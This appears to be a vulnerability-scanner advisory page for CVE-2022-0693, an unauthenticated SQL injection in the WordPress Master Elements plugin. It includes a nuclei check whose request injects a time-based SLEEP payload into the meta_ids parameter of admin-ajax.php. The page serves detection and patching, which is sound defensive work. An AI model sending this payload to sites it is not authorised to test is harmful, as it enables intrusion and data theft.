WordPress Master Elements <=8.0 - SQL Injection

criticalseverity

9.8CVSS score

6.9%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

WordPress Master Elements plugin through 8.0 contains a SQL injection vulnerability. The plugin does not validate and escape the meta_ids parameter of its remove_post_meta_condition AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.

Fix

Update to the latest version of WordPress Master Elements plugin (>=8.1) to mitigate the SQL Injection vulnerability.

How to confirm it

Send: @timeout: 10s
Positive when: duration>=6 and status_code == 200 and contains(body, "Post Meta Setting Deleted Successfully")

Run it with nuclei: nuclei -id CVE-2022-0693 -u <target>

The full check

id: CVE-2022-0693

info:
  name: WordPress Master Elements <=8.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Master Elements plugin through 8.0 contains a SQL injection vulnerability. The plugin does not validate and escape the meta_ids parameter of its remove_post_meta_condition AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
  remediation: |
    Update to the latest version of WordPress Master Elements plugin (>=8.1) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/a72bf075-fd4b-4aa5-b4a4-5f62a0620643
    - https://wordpress.org/plugins/master-elements
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0693
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0693
    cwe-id: CWE-89
    epss-score: 0.06918
    epss-percentile: 0.94151
    cpe: cpe:2.3:a:devbunch:master_elements:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: devbunch
    product: master_elements
    framework: wordpress
  tags: time-based-sqli,cve2022,cve,unauth,wpscan,wp-plugin,wp,sqli,wordpress,master-elements,devbunch,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?meta_ids=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&action=remove_post_meta_condition HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "Post Meta Setting Deleted Successfully")'
        condition: and

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